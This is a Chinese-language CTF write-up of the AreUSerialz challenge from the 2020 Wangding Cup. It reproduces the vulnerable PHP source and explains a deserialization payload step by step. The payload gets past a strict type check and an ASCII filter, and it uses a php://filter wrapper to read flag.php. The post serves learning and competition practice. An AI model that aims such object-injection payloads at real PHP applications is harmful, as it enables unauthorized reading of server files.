[网鼎杯2020 青龙组] AreUSerialz

发布于 2021-08-06  66 次阅读


知识点

  1. php强类型比较,可以通过 不同类型 达到绕过目的
  2. php7.1以上版本 对类的类型定义不敏感
  3. file_get_contents 伪协议文件读取

解题

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

将代码 分段 分析。

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

GET传参,is_valid() 判断字符串的ascii值是否在32~~125之间。存在反序列化函数,调用析构函数。下一步查看析构函数。

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

析构函数 判断 op 强比较 是都 等于 字符型 2 如果等于 替换为 字符型 1.,将content替换为空。 调用process函数。

 public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}

process() 完成读写功能。 我们 应该要使用读取操作 得到flag output() 是输出字符串

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

利用 file_get_contents 来读取 文件 想到 伪协议。

整理一下思路:

​ 构造序列化字符串,让op=2 并且 利用php伪协议 读取 flag。

op=2 可以利用 强类型 比较 要比较 类型 2是int型 “2”是string型 可以绕过。

PHP伪协议:filename=php://filter/read=convert.base64-encode/resource=flag.php

最后 绕过 那个 ascii码比较函数,因为protected私有化的时候会出现%00 他的ascii的值 是 0 不符合 可以使用php7.1以上版本 对类的类型定义不敏感 改为public绕过。

构造payload

image-20201130181801562
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
image-20201130181845914
image-20201130181906077